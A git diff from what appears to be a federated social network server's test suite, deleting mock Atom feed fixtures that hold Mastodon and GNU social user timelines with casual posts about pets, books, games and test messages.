+++ /dev/null @@ -1,306 +0,0 @@ - - - https://mastodon.social/users/emelie.atom - emelie 🎨 - 23 / #Sweden / #Artist / #Equestrian / #GameDev - -If I ain't spending time with my pets, I'm probably drawing. 🐴 🐱 🐰 - 2019-02-04T20:22:19Z - https://files.mastodon.social/accounts/avatars/000/015/657/original/e7163f98280da1a4.png - - https://mastodon.social/users/emelie - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/emelie - emelie - emelie@mastodon.social - <p>23 / <a href="https://mastodon.social/tags/sweden" class="mention hashtag" rel="tag">#<span>Sweden</span></a> / <a href="https://mastodon.social/tags/artist" class="mention hashtag" rel="tag">#<span>Artist</span></a> / <a href="https://mastodon.social/tags/equestrian" class="mention hashtag" rel="tag">#<span>Equestrian</span></a> / <a href="https://mastodon.social/tags/gamedev" class="mention hashtag" rel="tag">#<span>GameDev</span></a></p><p>If I ain&apos;t spending time with my pets, I&apos;m probably drawing. 🐴 🐱 🐰</p> - - - - emelie - emelie 🎨 - 23 / #Sweden / #Artist / #Equestrian / #GameDev - -If I ain't spending time with my pets, I'm probably drawing. 🐴 🐱 🐰 - public - - - - - - - https://mastodon.social/users/emelie/statuses/101850331907006641 - 2019-04-01T09:58:50Z - 2019-04-01T09:58:50Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Me: I&apos;m going to make this vital change to my world building in the morning, no way I&apos;ll forget this, it&apos;s too big of a deal<br />Also me: forgets</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849626603073336 - 2019-04-01T06:59:28Z - 2019-04-01T06:59:28Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - <p><span class="h-card"><a href="https://mastodon.social/@Fergant" class="u-url mention">@<span>Fergant</span></a></span> Dom är i stort sett religiös skrift vid det här laget 👏👏</p><p>har dock bara läst svenska översättningen, kanske är dags att jag läser dom på engelska</p> - - - public - - - - - - - https://mastodon.social/users/emelie/statuses/101849580030237068 - 2019-04-01T06:47:37Z - 2019-04-01T06:47:37Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>What&apos;s you people&apos;s favourite fantasy books? Give me some hot tips 🌞</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849550599949363 - 2019-04-01T06:40:08Z - 2019-04-01T06:40:08Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Stick them legs out 💃 <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849191533152720 - 2019-04-01T05:08:49Z - 2019-04-01T05:08:49Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>long 🐱 <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849165031453009 - 2019-04-01T05:02:05Z - 2019-04-01T05:02:05Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>You gotta take whatever bellyrubbing opportunity you can get before she changes her mind 🦁 <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101846512530748693 - 2019-03-31T17:47:31Z - 2019-03-31T17:47:31Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Hello look at this boy having a decent haircut for once <a href="https://mastodon.social/tags/mastohorses" class="mention hashtag" rel="tag">#<span>mastohorses</span></a> <a href="https://mastodon.social/tags/equestrian" class="mention hashtag" rel="tag">#<span>equestrian</span></a></p> - - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101846181093805500 - 2019-03-31T16:23:14Z - 2019-03-31T16:23:14Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Sorry did I disturb the who-is-the-longest-cat competition ? <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101845897513133849 - 2019-03-31T15:11:07Z - 2019-03-31T15:11:07Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - more earthsea ramblings - <p>I&apos;m re-watching Tales from Earthsea for the first time since I read the books, and that Therru doesn&apos;t squash Cob like a spider, as Orm Embar did is a wasted opportunity tbh</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101841219051533307 - 2019-03-30T19:21:19Z - 2019-03-30T19:21:19Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>I gave my cats some mackerel and they ate it all in 0.3 seconds, and now they won&apos;t stop meowing for more, and I&apos;m tired plz shut up</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101839949762341381 - 2019-03-30T13:58:31Z - 2019-03-30T13:58:31Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - <p>yet I&apos;m confused about this american dude with a gun, like the heck r ya doin in mah ghibli</p> - - public - - - - - - - https://mastodon.social/users/emelie/statuses/101839928677863590 - 2019-03-30T13:53:09Z - 2019-03-30T13:53:09Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>2 hours into Ni no Kuni 2 and I&apos;ve already sold my soul to this game</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101836329521599438 - 2019-03-29T22:37:51Z - 2019-03-29T22:37:51Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Pippi Longstocking the original one-punch /man</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101835905282948341 - 2019-03-29T20:49:57Z - 2019-03-29T20:49:57Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>I&apos;ve had so much wine I thought I had a 3rd brother</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101835878059204660 - 2019-03-29T20:43:02Z - 2019-03-29T20:43:02Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>ååååhhh booi</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101835848050598939 - 2019-03-29T20:35:24Z - 2019-03-29T20:35:24Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - <p><span class="h-card"><a href="https://thraeryn.net/@thraeryn" class="u-url mention">@<span>thraeryn</span></a></span> if I spent 1 hour and a half watching this monstrosity, I need to</p> - - - public - - - - - - - https://mastodon.social/users/emelie/statuses/101835823138262290 - 2019-03-29T20:29:04Z - 2019-03-29T20:29:04Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - medical, fluids mention - <p><span class="h-card"><a href="https://icosahedron.website/@Trev" class="u-url mention">@<span>Trev</span></a></span> *hugs* ✨</p> - - - public - - - - - - diff --git a/test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml b/test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml deleted file mode 100644 index 490467708..000000000 --- a/test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml +++ /dev/null @@ -1,460 +0,0 @@ - - - GNU social - http://gs.example.org/index.php/api/statuses/user_timeline/1.atom - lambda timeline - Updates from lambda on gs.example.org! - http://gs.example.org/theme/neo-gnu/default-avatar-profile.png - 2017-05-05T12:09:57+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org:4040/index.php/user/1 - lambda - - - - - lambda - lambda - - - - - - - - - - - - - tag:gs.example.org,2017-05-04:noticeId=84:objectType=note - lambda repeated a notice by lambda2 - RT @<a href="http://gs.example.org/index.php/user/7" class="h-card mention">lambda2</a> Hello! - - http://activitystrea.ms/schema/1.0/share - 2017-05-04T16:38:50+00:00 - 2017-05-04T16:38:50+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.example.org,2017-05-01:noticeId=67:objectType=note - - Hello! - - http://activitystrea.ms/schema/1.0/post - 2017-05-01T08:41:04+00:00 - 2017-05-01T08:41:04+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org/index.php/user/7 - lambda2 - - - - - - lambda2 - lambda2 - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-05-01:noticeId=67:objectType=note - New note by lambda2 - Hello! - - - - - tag:gs.example.org,2017-05-01:objectType=thread:nonce=cffa792cb95fe417 - - - http://gs.example.org/index.php/api/statuses/user_timeline/7.atom - lambda2 - - - - http://gs.example.org/avatar/7-96-20170501084054.png - 2017-05-01T16:33:10+00:00 - - - - - - tag:gs.example.org,2017-05-01:objectType=thread:nonce=cffa792cb95fe417 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-30:noticeId=63:objectType=note - New note by lambda - what now? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-30T10:09:57+00:00 - 2017-04-30T10:09:57+00:00 - - - - tag:gs.example.org,2017-04-30:objectType=thread:nonce=1bbb60991ae9874b - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-30:noticeId=61:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Hello! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-30T10:07:26+00:00 - 2017-04-30T10:07:26+00:00 - - tag:gs.example.org,2017-04-30:objectType=thread:nonce=1bbb60991ae9874b - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=59:objectType=note - New note by lambda - ey - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T17:04:59+00:00 - 2017-04-29T17:04:59+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=4cc42c2c61a0f4bd - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=58:objectType=note - New note by lambda - Another one. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T17:02:47+00:00 - 2017-04-29T17:02:47+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=53e9b8f1d6d38d13 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=57:objectType=note - New note by lambda - Let's see if this comes over. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T17:01:39+00:00 - 2017-04-29T17:01:39+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=238a7bd3ffc7c9cc - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=56:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Hey! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T16:38:13+00:00 - 2017-04-29T16:38:13+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=2629d3a398171b0f - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note - New note by lambda - hey. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:16:13+00:00 - 2017-04-25T18:16:13+00:00 - - - - http://pleroma.example.org:4000/contexts/8f6f45d4-8e4d-4e1a-a2de-09f27367d2d0 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=53:objectType=note - New note by lambda - and this? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:14:34+00:00 - 2017-04-25T18:14:34+00:00 - - - - http://pleroma.example.org:4000/contexts/24779b0e-91ad-487e-81bd-6cf5bb437b09 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=52:objectType=note - New note by lambda - yeah it does :) - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:13:31+00:00 - 2017-04-25T18:13:31+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=e0dc24b1a93ab6b3 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=50:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Let's try with one that originates here! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:10:28+00:00 - 2017-04-25T18:10:28+00:00 - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=e0dc24b1a93ab6b3 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=48:objectType=note - New note by lambda - works? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:08:44+00:00 - 2017-04-25T18:08:44+00:00 - - - - http://pleroma.example.org:4000/contexts/24779b0e-91ad-487e-81bd-6cf5bb437b09 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=46:objectType=note - New note by lambda - Let's send you an answer. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:05:31+00:00 - 2017-04-25T18:05:31+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=73c7bcf6658f7ce3 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=44:objectType=note - New note by lambda - Hey. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:01:09+00:00 - 2017-04-25T18:01:09+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=6e7c8fc2823380b4 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=43:objectType=note - New note by lambda - What's coming to you? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:58:41+00:00 - 2017-04-25T17:58:41+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=6e7c8fc2823380b4 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=42:objectType=note - New note by lambda - Now this is podracing. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:57:40+00:00 - 2017-04-25T17:57:40+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=6e7c8fc2823380b4 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=39:objectType=note - New note by lambda - Sure looks like it! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:48:27+00:00 - 2017-04-25T17:48:27+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=4c6114a75bb4cea5 - - - - - - - - tag:gs.example.org:4040,2017-04-25:subscription:1:person:6:2017-04-25T17:47:47+00:00 - lambda (lambda)'s status on Tuesday, 25-Apr-2017 17:47:47 UTC - <a href="http://gs.example.org:4040/index.php/lambda">lambda</a> started following <a href="http://pleroma.example.org:4000/users/lain5">l</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-25T17:47:47+00:00 - 2017-04-25T17:47:47+00:00 - - http://activitystrea.ms/schema/1.0/person - http://pleroma.example.org:4000/users/lain5 - l - lambadalambda - - - - - - lain5 - l - lambadalambda - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=119acad17515314c - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=36:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Hey, how are you? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:46:22+00:00 - 2017-04-25T17:46:22+00:00 - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=9c5ec19a18191372 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=35:objectType=note - New note by lambda - @lain5@pleroma.example.org does this not work? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:42:31+00:00 - 2017-04-25T17:42:31+00:00 - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=fc841d7f52caa363 - - - - - - diff --git a/test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom b/test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom deleted file mode 100644 index b5f3d923b..000000000 --- a/test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom +++ /dev/null @@ -1,342 +0,0 @@ - - - https://mamot.fr/users/Skruyb.atom - The 7th Son - Fr and En. -Posts will disappear on a regular basis. - 2017-04-28T13:54:23Z - https://mamot.fr/system/accounts/avatars/000/026/213/original/d95dbcfc76f77f4c.jpg?1493230984 - - https://mamot.fr/users/Skruyb - http://activitystrea.ms/schema/1.0/person - https://mamot.fr/users/Skruyb - Skruyb - Skruyb@mamot.fr - <p>Fr and En.<br />Posts will disappear on a regular basis.</p> - - - - Skruyb - The 7th Son - Fr and En. -Posts will disappear on a regular basis. - public - - - - - - - - tag:mamot.fr,2017-05-10:objectId=1299665:objectType=Status - 2017-05-10T20:06:59Z - 2017-05-10T20:06:59Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pouets.ovh/@noName" class="u-url mention">@<span>noName</span></a></span></p><p>Pour comparer faut avoir tester... Ô wait!!! 😁</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1299185:objectType=Status - 2017-05-10T19:52:14Z - 2017-05-10T19:52:14Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://witches.town/@Dhveszak" class="u-url mention">@<span>Dhveszak</span></a></span></p><p>Toi!! Tu vises le ministère de la propagande avoue!!!!!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1299019:objectType=Status - 2017-05-10T19:47:19Z - 2017-05-10T19:47:19Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Facebook s&apos;attaque aux sites internet &quot;trompeurs&quot;</p><p><a href="http://u.afp.com/4W4z" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">u.afp.com/4W4z</span><span class="invisible"></span></a></p><p>J&apos;attends de voir que Facebook s&apos;attaque à lui même... rien qu&apos;à lire leurs conditions générales d&apos;utilisation, le respect de la vie privée...</p><p>Charité bien ordonnée... Parfois l&apos;égoïsme aurait du bon.</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1298889:objectType=Status - 2017-05-10T19:43:18Z - 2017-05-10T19:43:18Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://octodon.social/@Balise" class="u-url mention">@<span>Balise</span></a></span></p><p>Fait comme moi, annonce que tu fais dans le flou artistique et que seuls des esprits éclairés pourront en percevoir la beauté et apprécier. Globalement après ça, tout le monde trouve les photos cool :-p</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1298728:objectType=Status - 2017-05-10T19:38:39Z - 2017-05-10T19:38:39Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@applecandy" class="u-url mention">@<span>applecandy</span></a></span></p><p>Lucky you!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1298431:objectType=Status - 2017-05-10T19:26:32Z - 2017-05-10T19:26:32Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Est-ce que je suis le seul qui lorsqu&apos;il commence à compter les arbres sur le bord de la route n&apos;arrive pas à s&apos;arrêter de compter?</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1298224:objectType=Status - 2017-05-10T19:18:17Z - 2017-05-10T19:18:17Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Ca y est j&apos;ai une nouvelle passion. Mettre les bouchons qui trainent par terre dans le bons sens avec mon pied 🙌</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1297450:objectType=Status - 2017-05-10T18:53:37Z - 2017-05-10T18:53:37Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Ok. On est capable d&apos;envoyer des mecs dans l&apos;espace, avoir des voitures autonomes, des trucs intelligents de partout mais pas tous les bâtiments accessibles aux personnes à mobilité réduite, les émissions sur le services publics avec une personne faisant la traduction pour les sourds et malentendants de manière systématique...</p><p>J&apos;ai du louper un truc dans l&apos;ordre des priorités Oo</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1297292:objectType=Status - 2017-05-10T18:48:17Z - 2017-05-10T18:48:17Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>J&apos;ai comme envie de faire un truc mais je ne sais pas quoi mais pourtant c&apos;est comme si je ressentais l&apos;idée dans ma tête mais c&apos;est pas clair...</p><p>Fuck!!! J&apos;vais aller draguer Josiane à la compta ça va me changer les idées!!!</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1296598:objectType=Status - 2017-05-10T18:25:11Z - 2017-05-10T18:25:11Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Smeablog" class="u-url mention">@<span>Smeablog</span></a></span></p><p>Pas faux MDR!!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1296571:objectType=Status - 2017-05-10T18:24:13Z - 2017-05-10T18:24:13Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Smeablog" class="u-url mention">@<span>Smeablog</span></a></span></p><p>Ca ne change pas la finalité malheureusement, ça ne m&apos;ouvre pas ce à quoi je veux accéder 😭</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1296475:objectType=Status - 2017-05-10T18:20:50Z - 2017-05-10T18:20:50Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Arrrgghhhhhhh!!!!</p><p>Quand t&apos;es sur le point de cliquer sur un lien dans le fil public global et que BOOM ça se met à jour... J&apos;ose même pas imaginer combien j&apos;ai ouvert de pages web sans le vouloir!!!</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1296426:objectType=Status - 2017-05-10T18:19:17Z - 2017-05-10T18:19:17Z - Skruyb shared a status by Isaluini@mastodon.social - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mastodon.social,2017-05-10:objectId=5587049:objectType=Status - 2017-05-10T18:18:59Z - 2017-05-10T18:19:00Z - New status by Isaluini@mastodon.social - - https://mastodon.social/users/Isaluini - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/Isaluini - Isaluini - Isaluini@mastodon.social - <p>Adicciones: Escribir, diseñar, cine, café, humor negro, música y dibujar. | Jedi. Bueno, no. Algún día (?) | Gratitude.</p> - - - - Isaluini - Isa - Adicciones: Escribir, diseñar, cine, café, humor negro, música y dibujar. | Jedi. Bueno, no. Algún día (?) | Gratitude. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>♫ <br><a href="https://www.youtube.com/watch?v=pT68FS3YbQ4"><span class="invisible">https://www.</span><span class="ellipsis">youtube.com/watch?v=pT68FS3YbQ</span><span class="invisible">4</span></a></p> - - public - - - <p>♫ <br><a href="https://www.youtube.com/watch?v=pT68FS3YbQ4"><span class="invisible">https://www.</span><span class="ellipsis">youtube.com/watch?v=pT68FS3YbQ</span><span class="invisible">4</span></a></p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1295893:objectType=Status - 2017-05-10T18:01:51Z - 2017-05-10T18:01:51Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Chat2Gouttieres" class="u-url mention">@<span>Chat2Gouttieres</span></a></span></p><p>Ah bah après faut savoir mettre à profit ce savoir ^^</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1295815:objectType=Status - 2017-05-10T18:00:02Z - 2017-05-10T18:00:02Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Chat2Gouttieres" class="u-url mention">@<span>Chat2Gouttieres</span></a></span></p><p>Exactement. On a les jeux mais pas le pain encore.</p><p>Finalement on a rien inventé :-p</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1295778:objectType=Status - 2017-05-10T17:58:52Z - 2017-05-10T17:58:52Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Chat2Gouttieres" class="u-url mention">@<span>Chat2Gouttieres</span></a></span></p><p>C&apos;est ça visiblement dans notre société dite moderne... &quot;Créer l&apos;illusion que&quot; Oo.</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1294943:objectType=Status - 2017-05-10T17:31:44Z - 2017-05-10T17:31:44Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - Hey. - <p><span class="h-card"><a href="https://mastodon.social/@lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span></p><p>Hey!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1294914:objectType=Status - 2017-05-10T17:30:40Z - 2017-05-10T17:30:40Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@EloClemTiti" class="u-url mention">@<span>EloClemTiti</span></a></span></p><p>J&apos;ai souvent cette impression en effet 😂</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1294148:objectType=Status - 2017-05-10T17:02:01Z - 2017-05-10T17:02:01Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Les gars, les boss veulent voir de l&apos;avancement!! Une idée?</p><p>On fait comme d&apos;habitude. On divise nos tâches en 25.000 tâches unitaires, on fout du vert au maximum et on crée l&apos;illusion que ça a bien avancé!</p><p>Deal!!</p><p>Bob, tu choisis quel vert on utilise<br />Alice, t&apos;es en charge de la typo<br />Moi, je m&apos;occupe qu&apos;on prend bien le dernier template ppt fournit par la comm interne.</p><p>Des winners qu&apos;on est!!!! Des WI-NNERS!!!</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1293995:objectType=Status - 2017-05-10T16:57:53Z - 2017-05-10T16:57:53Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@SauceHair" class="u-url mention">@<span>SauceHair</span></a></span></p><p>Cool!!</p><p>Bon courage.</p> - - - public - - - - - diff --git a/test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom b/test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom deleted file mode 100644 index 4d732b109..000000000 --- a/test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom +++ /dev/null @@ -1,464 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - - tag:mastodon.social,2017-05-04:objectId=4991300:objectType=Status - 2017-05-04T14:10:30Z - 2017-05-04T14:10:30Z - Delete - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/delete - - - - - tag:mastodon.social,2017-05-04:objectId=4980289:objectType=Status - 2017-05-04T07:43:23Z - 2017-05-04T07:43:23Z - Delete - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/delete - - - - - tag:mastodon.social,2017-05-03:objectId=4952899:objectType=Status - 2017-05-03T17:26:43Z - 2017-05-03T17:26:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> OK!!</p> - - - public - - - - - - tag:mastodon.social,2017-05-03:objectId=4952810:objectType=Status - 2017-05-03T17:24:34Z - 2017-05-03T17:24:34Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> yeah :)</p> - - - public - - - - - - tag:mastodon.social,2017-05-03:objectId=4950388:objectType=Status - 2017-05-03T16:22:00Z - 2017-05-03T16:22:00Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - 